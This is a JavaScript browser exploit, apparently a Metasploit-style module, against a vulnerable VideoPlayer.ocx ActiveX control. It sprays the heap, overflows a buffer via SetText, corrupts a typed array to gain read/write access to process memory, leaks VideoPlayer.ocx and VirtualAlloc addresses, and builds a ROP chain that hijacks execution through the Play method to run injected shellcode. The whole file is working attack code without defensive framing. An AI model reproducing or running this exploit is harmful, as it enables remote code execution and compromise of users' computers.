var Exploit = function () { // create its vulnerable ActiveX object (as HTMLObjectElement) this.obj = document.createElement("object"); this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B"); // perform controlled memwrite to 0x1111f010: typed array header is at // 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with // 0x00000001 0x00000004 0x00000040 0x1111f030 0x00 // The first 3 dwords are sideeffects due to the code we abuse for the // controlled memcpy this.whereAddress = 0x1111f010; this.memory = null; this.addresses = new Object(); this.sprayer = null; this.informer = null; this.sc = "<%=shellcode%>"; }; Exploit.prototype.run = function() { CollectGarbage(); this.sprayer = new Sprayer(); this.sprayer.spray(); this.memory = this.doCorruption(); //alert(this.memory.length.toString(16)) if (this.memory.length != 0x7fffffff){ //alert("Cannot change Uint32Array length"); return -1; } // now we could even repair the change we did with memcpy ... this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress); var leakSuccess = this.leakAddresses(); if (leakSuccess != 0) { //alert("Cannot leak required address to build the ROP chain"); return leakSuccess; } var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length); ropBuilder.buildRop(); // manipulate object data to gain EIP control with "Play" method var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26]; this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call // eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */ this.obj.Play() }; Exploit.prototype.prepareOverflow = function() { // prepare buffer with address we want to write to var ptrBuf = ""; // fill buffer: length = relative pointer address - buffer start + pointer // offset while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" } ptrBuf += this.dword2str(this.whereAddress); return ptrBuf; }; Exploit.prototype.doCorruption = function() { var ptrBuf = this.prepareOverflow(); // trigger: overflow buffer and overwrite the pointer value after buffer this.obj.SetText(ptrBuf, 0, 0); //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068") // use overwritten pointer after buffer with method "SetFontName" to conduct // memory write. We overwrite a typed array's header length to 0x40 and let // its buffer point to the next typed array header at 0x1111f030 (see above) this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE if (this.sprayer.find() == -1){ //alert("cannot find corrupted Uint32Array"); return -1 } // modify subsequent Uint32Array to be able to RW all process memory this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem // our memory READWRITE interface :) return this.sprayer.fullMemory; }; Exploit.prototype.leakAddresses = function() { this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj); this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj); // check if we have the image of VideoPlayer.ocx // check for MZ9000 header and "Vide" string at offset 0x6a000 if (this.memory[this.addresses['base'] / 4] != 0x905a4d || this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){ //alert("Cannot find VideoPlayer.ocx base or its version is wrong"); return -1; } //alert(this.addresses['base'].toString(16)) // get VirtualAlloc from imports of VideoPlayer.ocx this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4]; // memcpy is available inside VideoPlayer.ocx this.addresses['memcpy'] = this.addresses['base'] + 0x15070; //alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16)) scBuf = new Uint8Array(this.sc.length); for (n=0; n < this.sc.length; n++){ scBuf[n] = this.sc.charCodeAt(n); } this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf); return 0; }; // dword to little endian string Exploit.prototype.dword2str = function(dword) { var str = ""; for (var n=0; n < 4; n++){ str += String.fromCharCode((dword >> 8 * n) & 0xff); } return str; };